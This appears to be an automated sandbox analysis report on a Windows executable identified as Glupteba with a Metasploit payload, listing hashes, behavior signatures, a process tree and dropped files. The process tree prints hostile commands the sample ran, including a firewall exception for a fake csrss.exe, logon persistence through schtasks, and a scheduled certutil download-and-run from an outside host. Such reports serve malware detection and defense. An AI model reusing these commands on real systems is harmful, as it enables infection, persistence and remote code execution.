Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-08-2024 13:55

General

  • Target

    865102f865aee65ef616330fc6dbdd53_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    865102f865aee65ef616330fc6dbdd53

  • SHA1

    065102e3383ebea037d6d239475360a96d10d215

  • SHA256

    4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

  • SHA512

    429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

  • SSDEEP

    49152:bcJ3HEburt6qiytOt1nBfNITHXNkJ1YDIGlRYdo8npa8y2rgyTlnF3DO:AJXszqZkXfNeXFPYdiZsgyTlVDO

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\865102f865aee65ef616330fc6dbdd53_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\865102f865aee65ef616330fc6dbdd53_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4596
    • C:\Users\Admin\AppData\Local\Temp\865102f865aee65ef616330fc6dbdd53_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\865102f865aee65ef616330fc6dbdd53_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1736
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4620
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1040
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4400
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1444

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    865102f865aee65ef616330fc6dbdd53

    SHA1

    065102e3383ebea037d6d239475360a96d10d215

    SHA256

    4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

    SHA512

    429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

  • memory/2584-23-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-26-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-30-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-29-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-28-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-27-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-25-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-17-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-18-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-19-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-20-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-21-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-22-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/2584-24-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/3164-12-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/4596-1-0x00000000035F0000-0x00000000039A0000-memory.dmp

    Filesize

    3.7MB

  • memory/4596-2-0x00000000039A0000-0x00000000041A2000-memory.dmp

    Filesize

    8.0MB

  • memory/4596-5-0x00000000039A0000-0x00000000041A2000-memory.dmp

    Filesize

    8.0MB

  • memory/4596-3-0x0000000000400000-0x0000000000C1D000-memory.dmp

    Filesize

    8.1MB

  • memory/4596-4-0x0000000000400000-0x0000000003352000-memory.dmp

    Filesize

    47.3MB

  • memory/4596-6-0x0000000000400000-0x0000000000C1D000-memory.dmp

    Filesize

    8.1MB